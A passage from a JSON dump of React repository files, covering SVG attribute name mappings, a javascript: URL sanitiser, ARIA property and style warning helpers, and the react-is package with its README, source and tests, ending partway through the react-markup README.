'strokeWidth',\n  'stroke-width': 'strokeWidth',\n  strokeopacity: 'strokeOpacity',\n  'stroke-opacity': 'strokeOpacity',\n  suppresscontenteditablewarning: 'suppressContentEditableWarning',\n  suppresshydrationwarning: 'suppressHydrationWarning',\n  surfacescale: 'surfaceScale',\n  systemlanguage: 'systemLanguage',\n  tablevalues: 'tableValues',\n  targetx: 'targetX',\n  targety: 'targetY',\n  textanchor: 'textAnchor',\n  'text-anchor': 'textAnchor',\n  textdecoration: 'textDecoration',\n  'text-decoration': 'textDecoration',\n  textlength: 'textLength',\n  textrendering: 'textRendering',\n  'text-rendering': 'textRendering',\n  to: 'to',\n  transform: 'transform',\n  transformorigin: 'transformOrigin',\n  'transform-origin': 'transformOrigin',\n  typeof: 'typeof',\n  u1: 'u1',\n  u2: 'u2',\n  underlineposition: 'underlinePosition',\n  'underline-position': 'underlinePosition',\n  underlinethickness: 'underlineThickness',\n  'underline-thickness': 'underlineThickness',\n  unicode: 'unicode',\n  unicodebidi: 'unicodeBidi',\n  'unicode-bidi': 'unicodeBidi',\n  unicoderange: 'unicodeRange',\n  'unicode-range': 'unicodeRange',\n  unitsperem: 'unitsPerEm',\n  'units-per-em': 'unitsPerEm',\n  unselectable: 'unselectable',\n  valphabetic: 'vAlphabetic',\n  'v-alphabetic': 'vAlphabetic',\n  values: 'values',\n  vectoreffect: 'vectorEffect',\n  'vector-effect': 'vectorEffect',\n  version: 'version',\n  vertadvy: 'vertAdvY',\n  'vert-adv-y': 'vertAdvY',\n  vertoriginx: 'vertOriginX',\n  'vert-origin-x': 'vertOriginX',\n  vertoriginy: 'vertOriginY',\n  'vert-origin-y': 'vertOriginY',\n  vhanging: 'vHanging',\n  'v-hanging': 'vHanging',\n  videographic: 'vIdeographic',\n  'v-ideographic': 'vIdeographic',\n  viewbox: 'viewBox',\n  viewtarget: 'viewTarget',\n  visibility: 'visibility',\n  vmathematical: 'vMathematical',\n  'v-mathematical': 'vMathematical',\n  vocab: 'vocab',\n  widths: 'widths',\n  wordspacing: 'wordSpacing',\n  'word-spacing': 'wordSpacing',\n  writingmode: 'writingMode',\n  'writing-mode': 'writingMode',\n  x1: 'x1',\n  x2: 'x2',\n  x: 'x',\n  xchannelselector: 'xChannelSelector',\n  xheight: 'xHeight',\n  'x-height': 'xHeight',\n  xlinkactuate: 'xlinkActuate',\n  'xlink:actuate': 'xlinkActuate',\n  xlinkarcrole: 'xlinkArcrole',\n  'xlink:arcrole': 'xlinkArcrole',\n  xlinkhref: 'xlinkHref',\n  'xlink:href': 'xlinkHref',\n  xlinkrole: 'xlinkRole',\n  'xlink:role': 'xlinkRole',\n  xlinkshow: 'xlinkShow',\n  'xlink:show': 'xlinkShow',\n  xlinktitle: 'xlinkTitle',\n  'xlink:title': 'xlinkTitle',\n  xlinktype: 'xlinkType',\n  'xlink:type': 'xlinkType',\n  xmlbase: 'xmlBase',\n  'xml:base': 'xmlBase',\n  xmllang: 'xmlLang',\n  'xml:lang': 'xmlLang',\n  xmlns: 'xmlns',\n  'xml:space': 'xmlSpace',\n  xmlnsxlink: 'xmlnsXlink',\n  'xmlns:xlink': 'xmlnsXlink',\n  xmlspace: 'xmlSpace',\n  y1: 'y1',\n  y2: 'y2',\n  y: 'y',\n  ychannelselector: 'yChannelSelector',\n  z: 'z',\n  zoomandpan: 'zoomAndPan',\n};\n\nexport default possibleStandardNames;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/sanitizeURL.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// A javascript: URL can contain leading C0 control or \\u0020 SPACE,\n// and any newline or tab are filtered out as if they're not part of the URL.\n// https://url.spec.whatwg.org/#url-parsing\n// Tab or newline are defined as \\r\\n\\t:\n// https://infra.spec.whatwg.org/#ascii-tab-or-newline\n// A C0 control is a code point in the range \\u0000 NULL to \\u001F\n// INFORMATION SEPARATOR ONE, inclusive:\n// https://infra.spec.whatwg.org/#c0-control-or-space\n\nconst isJavaScriptProtocol =\n  /^[\\u0000-\\u001F ]*j[\\r\\n\\t]*a[\\r\\n\\t]*v[\\r\\n\\t]*a[\\r\\n\\t]*s[\\r\\n\\t]*c[\\r\\n\\t]*r[\\r\\n\\t]*i[\\r\\n\\t]*p[\\r\\n\\t]*t[\\r\\n\\t]*\\:/i;\n\nfunction sanitizeURL<T>(url: T): T | string {\n  // We should never have symbols here because they get filtered out elsewhere.\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  if (isJavaScriptProtocol.test('' + (url: any))) {\n    // Return a different javascript: url that doesn't cause any side-effects and just\n    // throws if ever visited.\n    // eslint-disable-next-line no-script-url\n    return \"javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')\";\n  }\n  return url;\n}\n\nexport default sanitizeURL;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/validAriaProperties.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst ariaProperties = {\n  'aria-current': 0, // state\n  'aria-description': 0,\n  'aria-details': 0,\n  'aria-disabled': 0, // state\n  'aria-hidden': 0, // state\n  'aria-invalid': 0, // state\n  'aria-keyshortcuts': 0,\n  'aria-label': 0,\n  'aria-roledescription': 0,\n  // Widget Attributes\n  'aria-autocomplete': 0,\n  'aria-checked': 0,\n  'aria-expanded': 0,\n  'aria-haspopup': 0,\n  'aria-level': 0,\n  'aria-modal': 0,\n  'aria-multiline': 0,\n  'aria-multiselectable': 0,\n  'aria-orientation': 0,\n  'aria-placeholder': 0,\n  'aria-pressed': 0,\n  'aria-readonly': 0,\n  'aria-required': 0,\n  'aria-selected': 0,\n  'aria-sort': 0,\n  'aria-valuemax': 0,\n  'aria-valuemin': 0,\n  'aria-valuenow': 0,\n  'aria-valuetext': 0,\n  // Live Region Attributes\n  'aria-atomic': 0,\n  'aria-busy': 0,\n  'aria-live': 0,\n  'aria-relevant': 0,\n  // Drag-and-Drop Attributes\n  'aria-dropeffect': 0,\n  'aria-grabbed': 0,\n  // Relationship Attributes\n  'aria-activedescendant': 0,\n  'aria-colcount': 0,\n  'aria-colindex': 0,\n  'aria-colspan': 0,\n  'aria-controls': 0,\n  'aria-describedby': 0,\n  'aria-errormessage': 0,\n  'aria-flowto': 0,\n  'aria-labelledby': 0,\n  'aria-owns': 0,\n  'aria-posinset': 0,\n  'aria-rowcount': 0,\n  'aria-rowindex': 0,\n  'aria-rowspan': 0,\n  'aria-setsize': 0,\n  // ARIA 1.3 Attributes\n  'aria-braillelabel': 0,\n  'aria-brailleroledescription': 0,\n  'aria-colindextext': 0,\n  'aria-rowindextext': 0,\n};\n\nexport default ariaProperties;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/warnValidStyle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// 'msTransform' is correct, but the other prefixes should be capitalized\nconst badVendoredStyleNamePattern = /^(?:webkit|moz|o)[A-Z]/;\nconst msPattern = /^-ms-/;\nconst hyphenPattern = /-(.)/g;\n\n// style values shouldn't contain a semicolon\nconst badStyleValueWithSemicolonPattern = /;\\s*$/;\n\nconst warnedStyleNames = {};\nconst warnedStyleValues = {};\nlet warnedForNaNValue = false;\nlet warnedForInfinityValue = false;\n\nfunction camelize(string) {\n  return string.replace(hyphenPattern, function (_, character) {\n    return character.toUpperCase();\n  });\n}\n\nfunction warnHyphenatedStyleName(name) {\n  if (__DEV__) {\n    if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {\n      return;\n    }\n\n    warnedStyleNames[name] = true;\n    console.error(\n      'Unsupported style property %s. Did you mean %s?',\n      name,\n      // As Andi Smith suggests\n      // (http://www.andismith.com/blog/2012/02/modernizr-prefixed/), an `-ms` prefix\n      // is converted to lowercase `ms`.\n      camelize(name.replace(msPattern, 'ms-')),\n    );\n  }\n}\n\nfunction warnBadVendoredStyleName(name) {\n  if (__DEV__) {\n    if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {\n      return;\n    }\n\n    warnedStyleNames[name] = true;\n    console.error(\n      'Unsupported vendor-prefixed style property %s. Did you mean %s?',\n      name,\n      name.charAt(0).toUpperCase() + name.slice(1),\n    );\n  }\n}\n\nfunction warnStyleValueWithSemicolon(name, value) {\n  if (__DEV__) {\n    if (warnedStyleValues.hasOwnProperty(value) && warnedStyleValues[value]) {\n      return;\n    }\n\n    warnedStyleValues[value] = true;\n    console.error(\n      \"Style property values shouldn't contain a semicolon. \" +\n        'Try \"%s: %s\" instead.',\n      name,\n      value.replace(badStyleValueWithSemicolonPattern, ''),\n    );\n  }\n}\n\nfunction warnStyleValueIsNaN(name, value) {\n  if (__DEV__) {\n    if (warnedForNaNValue) {\n      return;\n    }\n\n    warnedForNaNValue = true;\n    console.error(\n      '`NaN` is an invalid value for the `%s` css style property.',\n      name,\n    );\n  }\n}\n\nfunction warnStyleValueIsInfinity(name, value) {\n  if (__DEV__) {\n    if (warnedForInfinityValue) {\n      return;\n    }\n\n    warnedForInfinityValue = true;\n    console.error(\n      '`Infinity` is an invalid value for the `%s` css style property.',\n      name,\n    );\n  }\n}\n\nfunction warnValidStyle(name, value) {\n  if (__DEV__) {\n    if (name.indexOf('-') > -1) {\n      warnHyphenatedStyleName(name);\n    } else if (badVendoredStyleNamePattern.test(name)) {\n      warnBadVendoredStyleName(name);\n    } else if (badStyleValueWithSemicolonPattern.test(value)) {\n      warnStyleValueWithSemicolon(name, value);\n    }\n\n    if (typeof value === 'number') {\n      if (isNaN(value)) {\n        warnStyleValueIsNaN(name, value);\n      } else if (!isFinite(value)) {\n        warnStyleValueIsInfinity(name, value);\n      }\n    }\n  }\n}\n\nexport default warnValidStyle;\n"
  },
  {
    "path": "packages/react-is/README.md",
    "content": "# `react-is`\n\nThis package allows you to test arbitrary values and see if they're a particular React element type.\n\n## Installation\n\n```sh\n# Yarn\nyarn add react-is\n\n# NPM\nnpm install react-is\n```\n\n## Usage\n\n### Determining if a Component is Valid\n\n```js\nimport React from \"react\";\nimport * as ReactIs from \"react-is\";\n\nclass ClassComponent extends React.Component {\n  render() {\n    return React.createElement(\"div\");\n  }\n}\n\nconst FunctionComponent = () => React.createElement(\"div\");\n\nconst ForwardRefComponent = React.forwardRef((props, ref) =>\n  React.createElement(Component, { forwardedRef: ref, ...props })\n);\n\nconst Context = React.createContext(false);\n\nReactIs.isValidElementType(\"div\"); // true\nReactIs.isValidElementType(ClassComponent); // true\nReactIs.isValidElementType(FunctionComponent); // true\nReactIs.isValidElementType(ForwardRefComponent); // true\nReactIs.isValidElementType(Context.Provider); // true\nReactIs.isValidElementType(Context.Consumer); // true\n```\n\n### Determining an Element's Type\n\n#### Context\n\n```js\nimport React from \"react\";\nimport * as ReactIs from 'react-is';\n\nconst ThemeContext = React.createContext(\"blue\");\n\nReactIs.isContextConsumer(<ThemeContext.Consumer />); // true\nReactIs.isContextProvider(<ThemeContext.Provider />); // true\nReactIs.typeOf(<ThemeContext.Provider />) === ReactIs.ContextProvider; // true\nReactIs.typeOf(<ThemeContext.Consumer />) === ReactIs.ContextConsumer; // true\n```\n\n#### Element\n\n```js\nimport React from \"react\";\nimport * as ReactIs from 'react-is';\n\nReactIs.isElement(<div />); // true\nReactIs.typeOf(<div />) === ReactIs.Element; // true\n```\n\n#### Fragment\n\n```js\nimport React from \"react\";\nimport * as ReactIs from 'react-is';\n\nReactIs.isFragment(<></>); // true\nReactIs.typeOf(<></>) === ReactIs.Fragment; // true\n```\n\n#### Portal\n\n```js\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\nimport * as ReactIs from 'react-is';\n\nconst div = document.createElement(\"div\");\nconst portal = ReactDOM.createPortal(<div />, div);\n\nReactIs.isPortal(portal); // true\nReactIs.typeOf(portal) === ReactIs.Portal; // true\n```\n\n#### StrictMode\n\n```js\nimport React from \"react\";\nimport * as ReactIs from 'react-is';\n\nReactIs.isStrictMode(<React.StrictMode />); // true\nReactIs.typeOf(<React.StrictMode />) === ReactIs.StrictMode; // true\n```\n"
  },
  {
    "path": "packages/react-is/index.experimental.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {\n  isValidElementType,\n  typeOf,\n  ContextConsumer,\n  ContextProvider,\n  Element,\n  ForwardRef,\n  Fragment,\n  Lazy,\n  Memo,\n  Portal,\n  Profiler,\n  StrictMode,\n  Suspense,\n  SuspenseList,\n  isContextConsumer,\n  isContextProvider,\n  isElement,\n  isForwardRef,\n  isFragment,\n  isLazy,\n  isMemo,\n  isPortal,\n  isProfiler,\n  isStrictMode,\n  isSuspense,\n  isSuspenseList,\n} from './src/ReactIs';\n"
  },
  {
    "path": "packages/react-is/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport * from './src/ReactIs';\n"
  },
  {
    "path": "packages/react-is/index.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {\n  isValidElementType,\n  typeOf,\n  ContextConsumer,\n  ContextProvider,\n  Element,\n  ForwardRef,\n  Fragment,\n  Lazy,\n  Memo,\n  Portal,\n  Profiler,\n  StrictMode,\n  Suspense,\n  SuspenseList,\n  isContextConsumer,\n  isContextProvider,\n  isElement,\n  isForwardRef,\n  isFragment,\n  isLazy,\n  isMemo,\n  isPortal,\n  isProfiler,\n  isStrictMode,\n  isSuspense,\n  isSuspenseList,\n} from './src/ReactIs';\n"
  },
  {
    "path": "packages/react-is/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-is.production.js');\n} else {\n  module.exports = require('./cjs/react-is.development.js');\n}\n"
  },
  {
    "path": "packages/react-is/package.json",
    "content": "{\n  \"name\": \"react-is\",\n  \"version\": \"19.3.0\",\n  \"description\": \"Brand checking of React Elements.\",\n  \"main\": \"index.js\",\n  \"sideEffects\": false,\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-is\"\n  },\n  \"keywords\": [\n    \"react\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\"\n  ]\n}\n"
  },
  {
    "path": "packages/react-is/src/ReactIs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nimport {\n  REACT_CONTEXT_TYPE,\n  REACT_ELEMENT_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_PORTAL_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_CONSUMER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_SCOPE_TYPE,\n  REACT_LEGACY_HIDDEN_TYPE,\n  REACT_TRACING_MARKER_TYPE,\n} from 'shared/ReactSymbols';\n\nimport {\n  enableScopeAPI,\n  enableTransitionTracing,\n  enableLegacyHidden,\n  enableViewTransition,\n} from 'shared/ReactFeatureFlags';\n\nconst REACT_CLIENT_REFERENCE: symbol = Symbol.for('react.client.reference');\n\nexport function typeOf(object: any): mixed {\n  if (typeof object === 'object' && object !== null) {\n    const $$typeof = object.$$typeof;\n    switch ($$typeof) {\n      case REACT_ELEMENT_TYPE:\n        const type = object.type;\n\n        switch (type) {\n          case REACT_FRAGMENT_TYPE:\n          case REACT_PROFILER_TYPE:\n          case REACT_STRICT_MODE_TYPE:\n          case REACT_SUSPENSE_TYPE:\n          case REACT_SUSPENSE_LIST_TYPE:\n          case REACT_VIEW_TRANSITION_TYPE:\n            return type;\n          default:\n            const $$typeofType = type && type.$$typeof;\n\n            switch ($$typeofType) {\n              case REACT_CONTEXT_TYPE:\n              case REACT_FORWARD_REF_TYPE:\n              case REACT_LAZY_TYPE:\n              case REACT_MEMO_TYPE:\n                return $$typeofType;\n              case REACT_CONSUMER_TYPE:\n                return $$typeofType;\n              // Fall through\n              default:\n                return $$typeof;\n            }\n        }\n      case REACT_PORTAL_TYPE:\n        return $$typeof;\n    }\n  }\n\n  return undefined;\n}\n\nexport const ContextConsumer: symbol = REACT_CONSUMER_TYPE;\nexport const ContextProvider: symbol = REACT_CONTEXT_TYPE;\nexport const Element = REACT_ELEMENT_TYPE;\nexport const ForwardRef = REACT_FORWARD_REF_TYPE;\nexport const Fragment = REACT_FRAGMENT_TYPE;\nexport const Lazy = REACT_LAZY_TYPE;\nexport const Memo = REACT_MEMO_TYPE;\nexport const Portal = REACT_PORTAL_TYPE;\nexport const Profiler = REACT_PROFILER_TYPE;\nexport const StrictMode = REACT_STRICT_MODE_TYPE;\nexport const Suspense = REACT_SUSPENSE_TYPE;\nexport const SuspenseList = REACT_SUSPENSE_LIST_TYPE;\n\nexport function isValidElementType(type: mixed): boolean {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  }\n\n  // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n  if (\n    type === REACT_FRAGMENT_TYPE ||\n    type === REACT_PROFILER_TYPE ||\n    type === REACT_STRICT_MODE_TYPE ||\n    type === REACT_SUSPENSE_TYPE ||\n    type === REACT_SUSPENSE_LIST_TYPE ||\n    (enableLegacyHidden && type === REACT_LEGACY_HIDDEN_TYPE) ||\n    (enableScopeAPI && type === REACT_SCOPE_TYPE) ||\n    (enableTransitionTracing && type === REACT_TRACING_MARKER_TYPE) ||\n    (enableViewTransition && type === REACT_VIEW_TRANSITION_TYPE)\n  ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (\n      type.$$typeof === REACT_LAZY_TYPE ||\n      type.$$typeof === REACT_MEMO_TYPE ||\n      type.$$typeof === REACT_CONTEXT_TYPE ||\n      type.$$typeof === REACT_CONSUMER_TYPE ||\n      type.$$typeof === REACT_FORWARD_REF_TYPE ||\n      // This needs to include all possible module reference object\n      // types supported by any Flight configuration anywhere since\n      // we don't know which Flight build this will end up being used\n      // with.\n      type.$$typeof === REACT_CLIENT_REFERENCE ||\n      type.getModuleId !== undefined\n    ) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nexport function isContextConsumer(object: any): boolean {\n  return typeOf(object) === REACT_CONSUMER_TYPE;\n}\nexport function isContextProvider(object: any): boolean {\n  return typeOf(object) === REACT_CONTEXT_TYPE;\n}\nexport function isElement(object: any): boolean {\n  return (\n    typeof object === 'object' &&\n    object !== null &&\n    object.$$typeof === REACT_ELEMENT_TYPE\n  );\n}\nexport function isForwardRef(object: any): boolean {\n  return typeOf(object) === REACT_FORWARD_REF_TYPE;\n}\nexport function isFragment(object: any): boolean {\n  return typeOf(object) === REACT_FRAGMENT_TYPE;\n}\nexport function isLazy(object: any): boolean {\n  return typeOf(object) === REACT_LAZY_TYPE;\n}\nexport function isMemo(object: any): boolean {\n  return typeOf(object) === REACT_MEMO_TYPE;\n}\nexport function isPortal(object: any): boolean {\n  return typeOf(object) === REACT_PORTAL_TYPE;\n}\nexport function isProfiler(object: any): boolean {\n  return typeOf(object) === REACT_PROFILER_TYPE;\n}\nexport function isStrictMode(object: any): boolean {\n  return typeOf(object) === REACT_STRICT_MODE_TYPE;\n}\nexport function isSuspense(object: any): boolean {\n  return typeOf(object) === REACT_SUSPENSE_TYPE;\n}\nexport function isSuspenseList(object: any): boolean {\n  return typeOf(object) === REACT_SUSPENSE_LIST_TYPE;\n}\n"
  },
  {
    "path": "packages/react-is/src/__tests__/ReactIs-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactIs;\nlet SuspenseList;\n\ndescribe('ReactIs', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactIs = require('react-is');\n\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n  });\n\n  it('should return undefined for unknown/invalid types', () => {\n    expect(ReactIs.typeOf('abc')).toBe(undefined);\n    expect(ReactIs.typeOf(true)).toBe(undefined);\n    expect(ReactIs.typeOf(123)).toBe(undefined);\n    expect(ReactIs.typeOf({})).toBe(undefined);\n    expect(ReactIs.typeOf(null)).toBe(undefined);\n    expect(ReactIs.typeOf(undefined)).toBe(undefined);\n    expect(ReactIs.typeOf(NaN)).toBe(undefined);\n    expect(ReactIs.typeOf(Symbol('def'))).toBe(undefined);\n  });\n\n  it('identifies valid element types', () => {\n    class Component extends React.Component {\n      render() {\n        return React.createElement('div');\n      }\n    }\n    class PureComponent extends React.PureComponent {\n      render() {\n        return React.createElement('div');\n      }\n    }\n\n    const FunctionComponent = () => React.createElement('div');\n    const ForwardRefComponent = React.forwardRef((props, ref) =>\n      React.createElement(Component, {forwardedRef: ref, ...props}),\n    );\n    const LazyComponent = React.lazy(() => Component);\n    const MemoComponent = React.memo(Component);\n    const Context = React.createContext(false);\n\n    expect(ReactIs.isValidElementType('div')).toEqual(true);\n    expect(ReactIs.isValidElementType(Component)).toEqual(true);\n    expect(ReactIs.isValidElementType(PureComponent)).toEqual(true);\n    expect(ReactIs.isValidElementType(FunctionComponent)).toEqual(true);\n    expect(ReactIs.isValidElementType(ForwardRefComponent)).toEqual(true);\n    expect(ReactIs.isValidElementType(LazyComponent)).toEqual(true);\n    expect(ReactIs.isValidElementType(MemoComponent)).toEqual(true);\n    expect(ReactIs.isValidElementType(Context.Provider)).toEqual(true);\n    expect(ReactIs.isValidElementType(Context.Consumer)).toEqual(true);\n    expect(ReactIs.isValidElementType(React.Fragment)).toEqual(true);\n    expect(ReactIs.isValidElementType(React.StrictMode)).toEqual(true);\n    expect(ReactIs.isValidElementType(React.Suspense)).toEqual(true);\n\n    expect(ReactIs.isValidElementType(true)).toEqual(false);\n    expect(ReactIs.isValidElementType(123)).toEqual(false);\n    expect(ReactIs.isValidElementType({})).toEqual(false);\n    expect(ReactIs.isValidElementType(null)).toEqual(false);\n    expect(ReactIs.isValidElementType(undefined)).toEqual(false);\n    expect(ReactIs.isValidElementType({type: 'div', props: {}})).toEqual(false);\n  });\n\n  it('should identify context consumers', () => {\n    const Context = React.createContext(false);\n    expect(ReactIs.isValidElementType(Context.Consumer)).toBe(true);\n    expect(ReactIs.typeOf(<Context.Consumer />)).toBe(ReactIs.ContextConsumer);\n    expect(ReactIs.isContextConsumer(<Context.Consumer />)).toBe(true);\n    expect(ReactIs.isContextConsumer(<Context.Provider />)).toBe(false);\n    expect(ReactIs.isContextConsumer(<div />)).toBe(false);\n  });\n\n  it('should identify context providers', () => {\n    const Context = React.createContext(false);\n    expect(ReactIs.isValidElementType(Context.Provider)).toBe(true);\n    expect(ReactIs.typeOf(<Context.Provider />)).toBe(ReactIs.ContextProvider);\n    expect(ReactIs.isContextProvider(<Context.Provider />)).toBe(true);\n    expect(ReactIs.isContextProvider(<Context.Consumer />)).toBe(false);\n    expect(ReactIs.isContextProvider(<div />)).toBe(false);\n  });\n\n  it('should identify elements', () => {\n    expect(ReactIs.typeOf(<div />)).toBe(ReactIs.Element);\n    expect(ReactIs.isElement(<div />)).toBe(true);\n    expect(ReactIs.isElement('div')).toBe(false);\n    expect(ReactIs.isElement(true)).toBe(false);\n    expect(ReactIs.isElement(123)).toBe(false);\n    expect(ReactIs.isElement(null)).toBe(false);\n    expect(ReactIs.isElement(undefined)).toBe(false);\n    expect(ReactIs.isElement({})).toBe(false);\n\n    // It should also identify more specific types as elements\n    const Context = React.createContext(false);\n    expect(ReactIs.isElement(<Context.Provider />)).toBe(true);\n    expect(ReactIs.isElement(<Context.Consumer />)).toBe(true);\n    expect(ReactIs.isElement(<React.Fragment />)).toBe(true);\n    expect(ReactIs.isElement(<React.StrictMode />)).toBe(true);\n    expect(ReactIs.isElement(<React.Suspense />)).toBe(true);\n  });\n\n  it('should identify ref forwarding component', () => {\n    const RefForwardingComponent = React.forwardRef((props, ref) => null);\n    expect(ReactIs.isValidElementType(RefForwardingComponent)).toBe(true);\n    expect(ReactIs.typeOf(<RefForwardingComponent />)).toBe(ReactIs.ForwardRef);\n    expect(ReactIs.isForwardRef(<RefForwardingComponent />)).toBe(true);\n    expect(ReactIs.isForwardRef({type: ReactIs.StrictMode})).toBe(false);\n    expect(ReactIs.isForwardRef(<div />)).toBe(false);\n  });\n\n  it('should identify fragments', () => {\n    expect(ReactIs.isValidElementType(React.Fragment)).toBe(true);\n    expect(ReactIs.typeOf(<React.Fragment />)).toBe(ReactIs.Fragment);\n    expect(ReactIs.isFragment(<React.Fragment />)).toBe(true);\n    expect(ReactIs.isFragment({type: ReactIs.Fragment})).toBe(false);\n    expect(ReactIs.isFragment('React.Fragment')).toBe(false);\n    expect(ReactIs.isFragment(<div />)).toBe(false);\n    expect(ReactIs.isFragment([])).toBe(false);\n  });\n\n  it('should identify portals', () => {\n    const div = document.createElement('div');\n    const portal = ReactDOM.createPortal(<div />, div);\n    expect(ReactIs.isValidElementType(portal)).toBe(false);\n    expect(ReactIs.typeOf(portal)).toBe(ReactIs.Portal);\n    expect(ReactIs.isPortal(portal)).toBe(true);\n    expect(ReactIs.isPortal(div)).toBe(false);\n  });\n\n  it('should identify memo', () => {\n    const Component = () => React.createElement('div');\n    const Memoized = React.memo(Component);\n    expect(ReactIs.isValidElementType(Memoized)).toBe(true);\n    expect(ReactIs.typeOf(<Memoized />)).toBe(ReactIs.Memo);\n    expect(ReactIs.isMemo(<Memoized />)).toBe(true);\n    expect(ReactIs.isMemo(<Component />)).toBe(false);\n  });\n\n  it('should identify lazy', () => {\n    const Component = () => React.createElement('div');\n    const LazyComponent = React.lazy(() => Component);\n    expect(ReactIs.isValidElementType(LazyComponent)).toBe(true);\n    expect(ReactIs.typeOf(<LazyComponent />)).toBe(ReactIs.Lazy);\n    expect(ReactIs.isLazy(<LazyComponent />)).toBe(true);\n    expect(ReactIs.isLazy(<Component />)).toBe(false);\n  });\n\n  it('should identify strict mode', () => {\n    expect(ReactIs.isValidElementType(React.StrictMode)).toBe(true);\n    expect(ReactIs.typeOf(<React.StrictMode />)).toBe(ReactIs.StrictMode);\n    expect(ReactIs.isStrictMode(<React.StrictMode />)).toBe(true);\n    expect(ReactIs.isStrictMode({type: ReactIs.StrictMode})).toBe(false);\n    expect(ReactIs.isStrictMode(<div />)).toBe(false);\n  });\n\n  it('should identify suspense', () => {\n    expect(ReactIs.isValidElementType(React.Suspense)).toBe(true);\n    expect(ReactIs.typeOf(<React.Suspense />)).toBe(ReactIs.Suspense);\n    expect(ReactIs.isSuspense(<React.Suspense />)).toBe(true);\n    expect(ReactIs.isSuspense({type: ReactIs.Suspense})).toBe(false);\n    expect(ReactIs.isSuspense('React.Suspense')).toBe(false);\n    expect(ReactIs.isSuspense(<div />)).toBe(false);\n  });\n\n  // @gate enableSuspenseList\n  it('should identify suspense list', () => {\n    expect(ReactIs.isValidElementType(SuspenseList)).toBe(true);\n    expect(ReactIs.typeOf(<SuspenseList />)).toBe(ReactIs.SuspenseList);\n    expect(ReactIs.isSuspenseList(<SuspenseList />)).toBe(true);\n    expect(ReactIs.isSuspenseList({type: ReactIs.SuspenseList})).toBe(false);\n    expect(ReactIs.isSuspenseList('React.SuspenseList')).toBe(false);\n    expect(ReactIs.isSuspenseList(<div />)).toBe(false);\n  });\n\n  it('should identify profile root', () => {\n    expect(ReactIs.isValidElementType(React.Profiler)).toBe(true);\n    expect(\n      ReactIs.typeOf(<React.Profiler id=\"foo\" onRender={jest.fn()} />),\n    ).toBe(ReactIs.Profiler);\n    expect(\n      ReactIs.isProfiler(<React.Profiler id=\"foo\" onRender={jest.fn()} />),\n    ).toBe(true);\n    expect(ReactIs.isProfiler({type: ReactIs.Profiler})).toBe(false);\n    expect(ReactIs.isProfiler(<div />)).toBe(false);\n  });\n});\n"
  },
  {
    "path": "packages/react-markup/README.md",
    "content": "# `react-markup`\n\nThis package provides the ability to render standalone HTML from Server Components for use in embedded contexts such as e-mails and RSS/Atom feeds. It cannot use Client Components and does not hydrate. It is intended to be paired with the generic React package, which is shipped as `react` to npm.\n\n## Installation\n\n```sh\nnpm install react react-markup\n```\n\n## Usage\n\n```js\nimport { experimental_renderToHTML as renderToHTML } from 'react-markup';\nimport EmailTemplate from './my-email-template-component.js'\n\nasync function action(email, name) {\n  \"use server\";\n  // ... in your server, e.g. a Server Action...\n  const htmlString = await renderToHTML(<EmailTemplate name={name} />);\n  // ... send e-mail using some e-mail provider\n  await sendEmail({ to: email, contentType: 'text/html', body: htmlString });\n}\n```\n\nNote that this is an async function that needs to be awaited - unlike the legacy `renderToString` in 